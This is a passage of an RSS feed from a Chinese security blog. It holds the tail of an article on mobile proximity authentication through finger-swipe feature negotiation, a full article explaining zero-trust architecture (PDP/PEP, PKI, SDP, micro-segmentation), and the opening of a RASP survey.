style="margin-top: 10px;margin-bottom: 10px;text-indent: 2em;"><span style="text-indent: 28px;">然而，由于连接是无线的，设备之间无法确定与之相连的目标设备的身份，攻击者可以冒充目标设备与另一个目标设备通信，即身份欺诈。</span><span style="text-indent: 28px;">为了避免身份欺诈，需要对移动设备进行身份鉴别。</span></section><section style="margin-top: 10px;margin-bottom: 10px;text-indent: 2em;"><span style="text-indent: 28px;">近距离身份鉴别中，通过邻近的共同无线电环境（RSS、CSI）来确认两个设备处于相似环境，但是该方案需要丰富的环境信号变化，可能需要配置定制的收音机来感知额外的信号。</span><span style="text-indent: 28px;">可以利用蓝牙、WiFi来测试移动设备之间的距离，证明两个设备的物理邻近性，达到两个设备之间的身份鉴别的目的，但是由于蓝牙或WiFi通讯范围是米级别的，只能实现粗粒度的身份鉴别。</span><span style="text-indent: 28px;">当两个设备近距离身份鉴别时，最常采用的是NFC技术，但是很移动设备通常没有内置NFC芯片。</span><span style="text-indent: 28px;">利用用户对移动设备的一些行为产生的行为数据对设备进行身份鉴别，结合密钥生成协议生成会话密钥，不需要任何额外硬件、也不容易受到</span>肩<span style="text-indent: 28px;">窥攻击，密钥熵值也比较高，是适用范围广、经济实用的一种新兴移动设备身份鉴别方式。</span></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6119791666666666" data-s="300,640" style="" data-type="png" data-w="384" src="https://wechat2rss.xlab.app/img-proxy/?k=e1a2bfdd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nICCianGadkicjmXjSfXTXQFDYSK9YRvLT7OxCImAa9h1BQicGh4XfVfT7kic1h7tbHmfLdgyNsNPXxuA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 10px;margin-bottom: 10px;text-indent: 2em;"><span style="text-indent: 28px;">2015年LiLingjun（A Proximity Authentication Systemfor Smartphones，TDSC 2015）等人提出了用于近距离移动设备在无线网络中通信时新的身份鉴别方式，主要思想是将两个移动设备并列，在屏幕上滑动手指，获得相似手指移动轨迹，利用屏幕上的传感器在两个设备上获得两组原始数据，由于两个手指在同一只手上，所以峰值之间的时间间隔比较相近，在做了大量统计分析后，得出相邻峰值之间的时间间隔在【0，130】之间，其中在【0，48】之间最为集中，而右下角这张图是两个移动设备上获得的峰值时间差对比情况，黄色条表示同一设备上获得时间差的差异，小于3的占82.97%，而在不同设备上时间差的差异是绿色条，小于3的占74.73%。这样获取到的两个设备上的原始特征即时间差无法完全相同，无法直接作为共同特征对两个设备进行身份鉴别。</span></p><p style="text-align: center;"><span style="text-indent: 28px;text-align: justify;"></span></p><section style="text-align: center;text-indent: 0em;"><span style="text-indent: 28px;text-align: justify;"></span></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3584379358437936" data-s="300,640" style="" data-type="png" data-w="717" src="https://wechat2rss.xlab.app/img-proxy/?k=ef29eb96&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nICCianGadkicjmXjSfXTXQFD1yqUUAiazlsVDqBHg3hZde3V1zREAyOjUCXn0FPSrydLMWcicGiarIRDw%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 10px;margin-bottom: 10px;text-indent: 2em;"><span style="text-indent: 28px;">因此，LiLingjun等人引入了特征协商来计算共同特征。左下角这张图就是特征协商中比较关键的一步，前面说到，两个移动设备获取的原始特征之间差值3，假设Alice的一个原始特征为ai，扩展这个特征成7个特征，构成对应特征子集，将扩展后的每个值哈希后发送给Bob，Bob把自己的特征b哈希后对比特征子集哈希，如果有相同的哈希，则留下对应的原始特征作为共同特征，发送对应的哈希给Alice，由于Alice有所有扩展特征的哈希，所以Alice也能获得收到的哈希值对应的特征值，最后，Alice和Bob获得相同的特征集。转化为字符串w，用于生成会话密钥，这密钥协商协议其实是DH密钥协商协议的变体，原始的DH很容易遭受中间人攻击，加入了字符串w后，可以有效抵抗中间人攻击。Alice和Bob就可以用协商好的会话密钥进行通信。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.36319612590799033" data-s="300,640" style="" data-type="png" data-w="826" src="https://wechat2rss.xlab.app/img-proxy/?k=dc1450be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nICCianGadkicjmXjSfXTXQFDslmbjhGwcJxsib5jiaf93MUJFic121EG11487FiaShfB49alc2ncRTEpng%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p>



<p><a href="2247483909">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=3540b205&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NDY3NjcxOA%3D%3D%26mid%3D2247483909%26idx%3D1%26sn%3D516bfa2a460c6a92798d967259c3a1e4%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 02 Dec 2021 18:42:00 +0800</pubDate>
    </item>
    <item>
      <title>零信任体系基础</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NDY3NjcxOA==&amp;mid=2247483851&amp;idx=1&amp;sn=9fe23a717687868610f3444e18685e09</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span>瓦力</span> <span>2021-09-22 10:02</span> <span style="display: inline-block;"></span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=d8b06de0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F9ic0mFdBia4nJDicicKXxkBKMd7bEXE9FwiaxeuqdFNSSxkkMdVIias0hR82XU4QcEkNZfic72Jic16ykcthkc37NsLia0Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="margin-top: 10px;margin-bottom: 10px;"><span style="font-size: 20px;">1.零信任产生背景</span></section><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;"><span style="font-family:等线;"><shape type="#_x0000_t75" filled="f" style="text-indent:0;left:0;width:415.3pt;height:192.1pt;"><imagedata title="image1"></imagedata></shape></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4625668449197861" data-s="300,640" style="" data-type="png" data-w="748" src="https://wechat2rss.xlab.app/img-proxy/?k=9d5c3171&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJDicicKXxkBKMd7bEXE9FwiaxVPz07xOtsVfQQc2Kpib6S3ARZibC2Bq0DMr8WvodqKT8BRAzGNRWE8Dg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family: 等线;" lang="EN-US">       </span><span style="font-size: 16px;">传统网络往往通过物理位置的方式来判断威胁，网络类型被分为内网和外网两大类，人们认为内网网络是安全的，而外部网络是危险的。但随着信息技术不断更新迭代，像云计算、大数据等高新技术加速信息化的发展，这种由物理上所划分的安全边界将逐步瓦解。很多的应用信息操作、访问都是由员工从外部网络发起的。但业务与信息化发展融合越紧密，其暴露的风险面就越广，人员通过网络访问后台应用系统，如果单纯依靠防火墙、入侵防御，只能检测到流量内容的安全性，但对于其身份ID、操作行为却无法做鉴别。</span><br/></p><section style="text-indent: 2em;"><span style="font-size: 16px;">信息化安全建设的源头是业务访问者，若缺少对身份的认证、授权、审计等流程，数据泄露、破坏等事件就会层出不穷。例如，微盟删库事件、微博五亿用户数据泄露事件，以及典型的银行后台开发运维人员利用个人岗位权限进行不当牟利的案例。在这一背景下，零信任概念应运而生。</span></section><p style="margin-top: 10px;margin-bottom: 10px;"><span style="font-size: 20px;">2.零信任体系基础</span></p><section style="margin-top: 10px;margin-bottom: 10px;text-indent: 2em;"><span style="font-size: 18px;">a)定义</span></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4829329962073325" data-s="300,640" style="" data-type="png" data-w="791" src="https://wechat2rss.xlab.app/img-proxy/?k=cfbb4f64&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJDicicKXxkBKMd7bEXE9FwiaxE16zJpa5WVAQ4zAoSh12IRbQ9EiaR5wd4zicZrdhn8GMdplib5HCuC2mg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 2em;"><span style="font-size: 16px;">需要指出的是，零信任并非指某种单一的安全技术或产品，而是一种网络安全防护理念，基于这一理念，零信任体系的建设逐渐被提上各企业的日程。</span><br/></p><p style="margin-top: 10px;margin-bottom: 10px;text-indent: 2em;"><span style="font-size: 18px;">b)零信任访问模型</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4318360914105595" data-s="300,640" style="" data-type="png" data-w="1269" src="https://wechat2rss.xlab.app/img-proxy/?k=31a71c06&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJDicicKXxkBKMd7bEXE9FwiaxR7BkM6qicFWXMPYv959kibsrbGswAoaCRBSIgiccvJumnbd1aib13R186w%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 2em;"><span style="font-size: 16px;">当用户需要访问企业资源时，必须通过策略决策点（PDP）和相应的策略执行点（PEP）授予访问权限。在这一过程中，零信任系统中必须确保用户身份是真实的，请求是有效的。PDP/PEP通过适当的判断，才允许企业主体访问资源。这意味着零信任适用于两个基本领域：身份认证和授权。</span><br/></p><section style="text-indent: 2em;"><span style="font-size: 16px;">可以说，零信任是围绕PDP/PEP对资源保护提供的一套原则和概念，因此，在部署中，尽可能将PDP/PEP设置到距离企业资源更近的位置。目的是更明确地对构成企业的所有用户、设备、应用程序和工作流程进行身份验证和授权控制。</span></section><p style="margin-top: 10px;margin-bottom: 10px;text-indent: 2em;"><span style="font-size: 18px;">c)零信任体系部署原则</span></p><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><section style="margin-top: 5px;"><span style="text-indent: 2em;font-size: 17px;">所有数据源和计算服务都被视为企业资源；</span><span style="font-family: 等线;font-size: 10.5pt;text-indent: 0em;"></span></section></li><li><p><span style="text-indent: 2em;font-size: 17px;">无论网络位置如何，所有通信都应该是安全的；</span></p></li><li><p><span style="text-indent: 2em;font-size: 17px;">对单个企业资源的访问是在每个会话的基础上授予的；</span></p></li><li><p><span style="text-indent: 2em;font-size: 17px;">对资源的访问由动态策略决定，包括客户端标识、应用程序和请求资产的可见状态，以及其他行为属性；</span></p></li><li><p><span style="text-indent: 2em;font-size: 17px;">企业应确保所拥有的资产和相关的设备均处于最安全的状态，并持续监控以确保资产处于最安全的状态；</span></p></li><li><p><span style="text-indent: 2em;font-size: 17px;">所有资源的身份验证和授权都是动态的，并且在允许访问之前必须严格执行；</span></p></li><li><p><span style="text-indent: 2em;font-size: 17px;">企业应尽可能多地收集网络基础设施和通信系统当前的状态信息，以提升其网络安全状况。</span></p></li></ul><p style="margin-top: 10px;margin-bottom: 10px;text-indent: 2em;"><span style="font-size: 18px;">d)零信任体系组成</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5181388012618297" data-s="300,640" style="" data-type="png" data-w="1268" src="https://wechat2rss.xlab.app/img-proxy/?k=7dea3112&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJDicicKXxkBKMd7bEXE9Fwiax2dapFZZKYX0yMp0Po0qMO2Ckj1uHFr20b0kUBv1hPx2PmI80dzCjVA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 2em;text-align: center;"><span style="font-size: 16px;">图一</span><br/></p><p style="text-indent: 2em;"><span style="font-size: 16px;">零信任体系主要包括两个部分：核心逻辑组件以及辅助系统。</span></p><p style="text-indent: 2em;"><span style="font-size: 16px;">构成零信任体系的逻辑组件很多，最核心的还是策略决策点和策略执行点。这些组件可以通过本地服务或远程服务的方式来操作，组件间的相互关系如图一所示。策略决策点被分解为两个逻辑组件：策略引擎( Policy Engine ,  PE)和策略管理员(Policy Administrator,  PA )。零信任体系逻辑组件之间通过一个单独的控制平面进行通信，而应用程序数据则在一个数据平面上进行通信。</span></p><p style="margin-top: 10px;margin-bottom: 10px;text-indent: 2em;"><span style="font-size: 18px;">e)零信任体系核心逻辑组件</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.37082818294190356" data-s="300,640" style="" data-type="png" data-w="809" src="https://wechat2rss.xlab.app/img-proxy/?k=0e5921d9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJDicicKXxkBKMd7bEXE9FwiaxqDh3Yf0xbulrBUMDHic2hacd2L2wuzEusWeIYJSMCHjW8E1YegNEu2g%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 2em;text-align: center;"><span style="font-size: 16px;">图二</span></p><p style="text-indent: 2em;"><span style="font-size: 16px;">核心逻辑组件如图二所示，除策略管理员、策略引擎和策略执行点，还包括驱动策略引擎的零信任算法。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.1458333333333333" data-s="300,640" style="" data-type="png" data-w="624" src="https://wechat2rss.xlab.app/img-proxy/?k=3fcb87ed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJDicicKXxkBKMd7bEXE9Fwiax2uxVjS1OhA7EdHkGL3wTwDgu0WOu1OWq4m07r5XUQbN6n0KFnfTYNw%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 0em;text-align: center;"><span style="font-size: 16px;">图三<br/></span></section><p style="text-indent: 2em;"><span style="font-size: 16px;">若将策略引擎视为零信任体系的大脑，那么策略引擎的信任算法就是主要的思想过程。策略引擎从多个来源获取输入，如图三所示，输入包括用户信息、设备信息、设备状态、访问信息、行为属性以及外部威胁情报等。</span></p><p style="text-indent: 2em;"><span style="font-size: 16px;">算法过程的设计可以通过信息属性度量、静态规则匹配，与相应基准值进行比</span><span style="font-size: 16px;">较，计算其偏差，汇总分析所得的风险，从而得到该次访问的信任等级，然后结合所要访问资源的属性进行最终的判断，基准值可以动态调整。也可以使用神经网络、深度学习等启发式方法，先将输入的系统状态数据的特征提取出来，然后不断学习训练，从而建立起信任评估模型，进而输出模型评估后的信任等级，输出结果也可以对模型的计算过程进行反馈，从而提升模型输出结果的准确性，。</span></p><p style="text-indent: 2em;"><span style="font-size: 16px;">最后，根据信任等级来确定主体的访问权限，并将最后的决定传递给策略管理员来执行。</span></p><p style="margin-top: 10px;margin-bottom: 10px;text-indent: 2em;"><span style="font-size: 18px;">f)零信任体系辅助系统</span></p><p style="text-indent: 2em;"><span style="font-size: 16px;">除了实现零信任体系的核心逻辑组件之外，还有几个数据源产生的辅助系统，将数据源提供给策略引擎作为访问决策的输入和策略规则。具体包括：</span></p><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p><span style="font-size: 16px;">持续诊断和缓解系统</span></p></li><li><p><span style="font-size: 16px;">威胁情报系统</span></p></li><li><p><span style="font-size: 16px;text-indent: 2em;">数据访问策略</span></p></li><li><p><span style="font-size: 16px;text-indent: 2em;">公钥基础设施</span></p></li><li><p><span style="font-size: 16px;text-indent: 2em;">网络活动日志系统</span></p></li><li><p><span style="font-size: 16px;text-indent: 2em;">身份标识管理系统</span></p></li><li><p><span style="font-size: 16px;text-indent: 2em;">安全信息和事件监控系统</span></p></li></ul><p style="margin-top: 10px;margin-bottom: 10px;"><span style="font-size: 20px;">3.零信任体系设计</span></p><p style="text-indent: 2em;"><span style="font-size: 16px;">接下来从现实的角度来阐述零信任安全体系总体的构建方案。</span></p><p style="margin-top: 10px;margin-bottom: 10px;text-indent: 2em;"><span style="font-size: 18px;">a)设计思路</span></p><p style="text-indent: 2em;"><span style="font-size: 16px;">通常，零信任体系的设计遵循以下三个思路：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5100755667506297" data-s="300,640" style="" data-type="png" data-w="794" src="https://wechat2rss.xlab.app/img-proxy/?k=bbadd073&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJDicicKXxkBKMd7bEXE9Fwiaxc1Loth1dLNfch8hCu84WpH9Ckn50RVnhnricX9CudVygY8UMLbaOb3g%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 10px;margin-bottom: 10px;text-indent: 2em;"><span style="font-size: 18px;">b)总体架构</span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.46887312844759654" data-s="300,640" style="" data-type="png" data-w="1269" src="https://wechat2rss.xlab.app/img-proxy/?k=48e78187&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJDicicKXxkBKMd7bEXE9Fwiaxsv692zVibheFhalB8Q8QXyUol8ypWcCIs4pHXdEVaqIaGt3GicS7UvrQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 0em;text-align: center;"><span style="font-size: 16px;">图四</span><br/></p><p style="text-indent: 2em;"><span style="font-size: 16px;">零信任体系总体架构如图四所示，其包含两个核心部分：安全基础设施以及安全控制服务。</span></p><p style="text-indent: 2em;"><span style="font-size: 16px;">i.安全基础设施</span></p><p style="text-indent: 2em;"><span style="font-size: 16px;">安全基础设施部分相当于零信任体系中的策略引擎，划分为密码支撑体系和可信身份管控两个模块：</span></p><p style="text-indent: 2em;"><span style="font-size: 16px;">密码支撑体系(PKI/CA)的作用是，对不同对象，如人员、设备、应用、服务等提供数字证书管理服务。</span></p><p style="text-indent: 2em;"><span style="font-size: 16px;">可信身份管控则依托密码支撑体系，以身份为中心，对不同对象进行规范化统一管理。通过身份认证服务，实现用户、应用、设备等实体身份鉴别；通过授权管理服务，基于RBAC，ABAC等授权模型，实现细粒度的授权管理与鉴权控制等功能；通过安全审计服务，采集应用系统的运行记录、操作日志、性能指标，并进行统一的规范化处理和综合分析。安全控制服务</span></p><p style="text-indent: 2em;"><span style="font-size: 16px;">ii.安全控制服务</span></p><p style="text-indent: 2em;"><span style="font-size: 16px;">零信任体系架构中另一个核心部分是安全控制服务，其相当于零信任体系中的策略管理员，基于零信任网络环境下以身份为中心进行访问控制的特点，建设智能网关管理平台，作为认证与访问控制策略的大脑，对接密码支撑体系和可信身份管控平台，从而制定各类安全策略。</span></p><p style="text-indent: 2em;"><span style="font-size: 16px;">iii.安全管理中心</span></p><p style="text-indent: 2em;"><span style="font-size: 16px;">是集成多个零信任体系的辅助系统，基于密码态势感知服务，提供其所属设备台账管理、密码应用合规性分析、密码有效性分析，对不同对象行为日志进行收集、安全审计及追踪溯源等。</span></p><p style="text-indent: 2em;"><span style="font-size: 16px;">iv.标准接口规范</span></p><p style="text-indent: 2em;"><span style="font-size: 16px;">在部署零信任体系过程中，需要编制相关标准接口规范，如密码支撑体系接口标准、可信身份管控平台接口标准及产品接入规范，不同类型的网关对接接口规范等，保证其适配、对接合理、合规及便利。</span></p><p style="margin-top: 10px;margin-bottom: 10px;text-indent: 2em;"><span style="font-size: 18px;">c)逻辑架构</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.39578713968957874" data-s="300,640" style="" data-type="png" data-w="902" src="https://wechat2rss.xlab.app/img-proxy/?k=ebba5125&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJDicicKXxkBKMd7bEXE9FwiaxNjrRvf37UCZysic9qOANYAMl9gxXtZNgLUjFZMK2xHRrePTicJbhySQg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 10px;margin-bottom: 10px;text-indent: 2em;"><span style="font-size: 18px;">d)零</span><span style="font-size: 18px;">信任体系组成</span><br/></p><p style="text-indent: 2em;"><span style="font-size: 16px;">安全基础设施实现零信任体系核心组件以及零信任算法的两部分的功能，包括密码支撑和可信身份管控两个模块。</span></p><p style="text-indent: 2em;"><span style="font-size: 16px;">安全控制服务为零信任体系辅助系统的一部分，本文简单介绍其中智能网关管理和可信接入网关两部分的内容。</span></p><p style="text-indent: 2em;"><span style="font-size: 16px;">i.密码支撑</span></p><p style="text-indent: 2em;"><span style="font-size: 16px;">密码支撑部分采用PKI/CA技术建设，同时部署证书签发系统、注册审核系统、密钥管理系统、目录服务系统、证书状态查询系统，并部署移动制证系统，配合RA系统为移动设备制作数字证书。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6510416666666666" data-s="300,640" style="" data-type="png" data-w="576" src="https://wechat2rss.xlab.app/img-proxy/?k=5affabc1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJDicicKXxkBKMd7bEXE9FwiaxGMzuK6icvMYWwAtz7sh1QSTMDWDt78nduKcVwd7kG4vw0nncxmttICw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 2em;"><span style="font-size: 16px;">ii.可信身份管控</span><br/></p><p style="text-indent: 2em;"><span style="font-size: 16px;">可信身份管控平台包括身份管理、权限管理、认证管理、应用管理、安全审计等模块。实现设备、用户、应用等实体的全面身份化，实现网络中各客体资源的唯一标识化，并对网络中各资源对象通过单向或叠加的强认证技术，将所有的业务隐藏，通过安全控制服务实现对设备和用户的持续评估和持续认证，实现访问控制策略的动态调整，给予受控资源的动态访问。</span></p><p style="text-indent: 2em;"><span style="font-size: 16px;">iii.智能网关管理</span></p><p style="text-indent: 2em;"><span style="font-size: 16px;">智能网关管理平台是零信任网络环境下的智能控制器，是构建所有认证与访问控制策略的大脑。可对接PKI基础设施和可信身份管控平台，构造用于网关的RBAC/ABAC双模型访问控制策略，并可对异地部署的不同网关提供统一的策略推送管理。</span></p><p style="text-indent: 2em;"><span style="font-size: 16px;">智能网关管理平台对网络中的用户、设备、应用进行关联性分析，并进行持续的安全评估与鉴别，动态生成新的安全策略，推送到客户端和不同的网关节点进行强制执行。</span></p><p style="text-indent: 2em;"><span style="font-size: 16px;">iv.可信接入网关</span></p><p style="text-indent: 2em;"><span style="font-size: 16px;">可信接入网关基于零信任模型设计，在传统的PKI强认证基础上，加入了可组合的多因子认证机制，结合动态上下文环境检测，在不同的接入通道上可以为用户提供一致的，细粒度的访问控制。</span></p><p style="text-indent: 2em;"><span style="font-size: 16px;">如图五所示，可信接入网关由集中管理平台动态控制多个网关的执行策略，实现分布式、可弹性扩展的边界防护。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5712900096993211" data-s="300,640" style="" data-type="png" data-w="1031" src="https://wechat2rss.xlab.app/img-proxy/?k=a8f7c24a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJDicicKXxkBKMd7bEXE9Fwiax6U9Wfgwbwic1ADtEb4g5WW4bHlVsickqiawB959BEtGNN5m6xMAfXTwTQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 0em;text-align: center;"><span style="font-size: 16px;">图五</span><br/></p><p style="margin-top: 10px;margin-bottom: 10px;"><span style="font-size: 20px;">4.零信任技术方案</span></p><p style="text-indent: 2em;"><span style="font-size: 16px;">目前，主流的零信任实施技术主要有三种，分别是SDP（软件定义边界）、微隔离以及增强身份认证，本文主要介绍SDP和微隔离。</span></p><p style="margin-top: 10px;margin-bottom: 10px;text-indent: 2em;"><span style="font-size: 18px;">a)SDP(软件定义边界)</span></p><p style="text-indent: 2em;"><span style="font-size: 16px;">SDP架构是由国际云安全联盟在2014年提出的第一个落地的零信任技术方案，主要包括三大组件：SDP控制器,，SDP连接发起主机（IH），SDP连接接受主机(AH)，如图<span style="font-size: 16px;text-indent: 34px;background-color: rgba(9, 187, 7, 0.31);">六</span>所示。SDP控制器确定哪些IH,  AH主机可以相互通信，可以与外部认证服务进行信息交互，例如认证系统、地理位置、身份服务器等。SDP连接发起主机IH和接受主机AH会直接连接到SDP控制器，通过控制器与安全控制信道的交互来管理。</span></p><p style="text-indent: 2em;"><span style="font-size: 16px;">以此，企业典型SDP应用方案包括三个部分：客户端、管控平台、应用网关。管控平台和应用网关可采用云平台和私有化部署，应用网关部署在客户端与企业本地信息系统或云部署信息系统之间。按照SDP的设计原则，SPD实施隐藏服务器地址和端口，扫描不被发现，实现网络隐身。用户只有应用层访问权限，无网络级访问。在连接服务器之前，先验证用户和设备合法性后连接。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6534653465346535" data-s="300,640" style="" data-type="png" data-w="1010" src="https://wechat2rss.xlab.app/img-proxy/?k=ab19ac21&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJDicicKXxkBKMd7bEXE9FwiaxxwyxFM2u8yM2sG4KFpJT6jBXRcTTW5XibiawNnMibz6ezkSibB5SgwMicsg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 0em;text-align: center;"><span style="font-size: 16px;">图六</span><br/></p><p style="margin-top: 10px;margin-bottom: 10px;text-indent: 2em;"><span style="font-size: 18px;">b)微隔离</span></p><p style="text-indent: 2em;"><span style="font-size: 16px;">微隔离的概念最早由Vmware在发布NSX产品正式提出， 是一种能够适应虚拟化部署环境，能够识别和管理云平台内部流量的一种隔离技术，其核心是对全部东西向流量的可视化识别与访问控制。</span></p><p style="text-indent: 2em;"><span style="font-size: 16px;">通过这种方法，企业可以将单个或群组资源放置在由网关安全组件保护的，自身网段上来实现零信任体系。企业将网关设备作为PEP来保护每个资源或资源组。这些网关设备动态授权来自客户端资产的访问请求。根据模型不同，网关可以是唯一的PEP组件，也可以是由网关和客户端代理组成的多部分PEP的一部分。</span></p><p style="margin-top: 10px;margin-bottom: 10px;"><span style="font-size: 20px;">5.后续内容</span></p><p style="text-indent: 2em;"><span style="font-size: 16px;">在后续的分享中，会对零信任体系进行更深一步的介绍，重点为典型应用场景的零信任体系设计及分析、围绕零信任体系的信息安全创新。</span></p><p style="margin-top: 10px;margin-bottom: 10px;text-indent: 2em;"><span style="font-size: 18px;">a)典型应用场景的零信任体系设计及分析</span></p><p style="text-indent: 2em;"><span style="font-size: 16px;">典型应用场景的零信任体系设计及分析部分中，会对目前已落地一些零信任体系案例进行介绍和分析，目前安恒、奇安信、深信服、启明星辰等厂商都已有落地的零信任解决方案，其效果不论，但已经迈出了零信任落地最初的一步。</span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;"><span style="font-family:等线;"><img data-ratio="0.41696750902527074" style="width:553.739990234375px;height:231.39999389648438px;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=4c4642c2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJDicicKXxkBKMd7bEXE9FwiaxRbZ4ViadIicvjAIFIUiakKKnu1pfBD7BIXqJqC52xqwLeSHfcl0DMdsMw%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="margin-top: 10px;margin-bottom: 10px;text-indent: 2em;"><span style="font-size: 18px;">b)围绕零信任体系的信息安全创新</span></p><p style="text-indent: 2em;"><span style="font-size: 16px;">围绕零信任体系的信息安全创新方面，主要从四个方面展开，SaaS安全，Web安全，云身份、下一代防火墙，这些内容会在以后的分享中进一步介绍。</span><span style="font-family: 等线;font-size: 10.5pt;text-align: center;text-indent: 0pt;"></span></p><p style="margin-top: 0pt;margin-bottom: 0pt;text-align: justify;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;"><span style="font-family:等线;"><br/></span></p>



<p><a href="2247483851">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6e83a5ec&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NDY3NjcxOA%3D%3D%26mid%3D2247483851%26idx%3D1%26sn%3D9fe23a717687868610f3444e18685e09%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 22 Sep 2021 10:02:00 +0800</pubDate>
    </item>
    <item>
      <title>RASP关键技术与相关产品调研</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NDY3NjcxOA==&amp;mid=2247483807&amp;idx=1&amp;sn=21c4b1a9198264bcd191266540cdf2a5</link>
      <description>RASP（Runtime application self-protection，运行时应用自我保护）是一种新型应用安全保护技术，能实时检测和阻断攻击，使应用程序具备自我保护能力</description>
      <content:encoded><![CDATA[<p>
<span>c3cili4</span> <span>2021-09-15 14:38</span> <span style="display: inline-block;"></span>
</p>

<p>RASP（Runtime application self-protection，运行时应用自我保护）是一种新型应用安全保护技术，能实时检测和阻断攻击，使应用程序具备自我保护能力</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=fb97833a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F9ic0mFdBia4nIYLHvNTSYoCDlBOqZWy2aBxxEicliaRnapDdpIdqmf1edcHic8suVB0FPw2njNWp4NZZUv9ialw0SyuA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


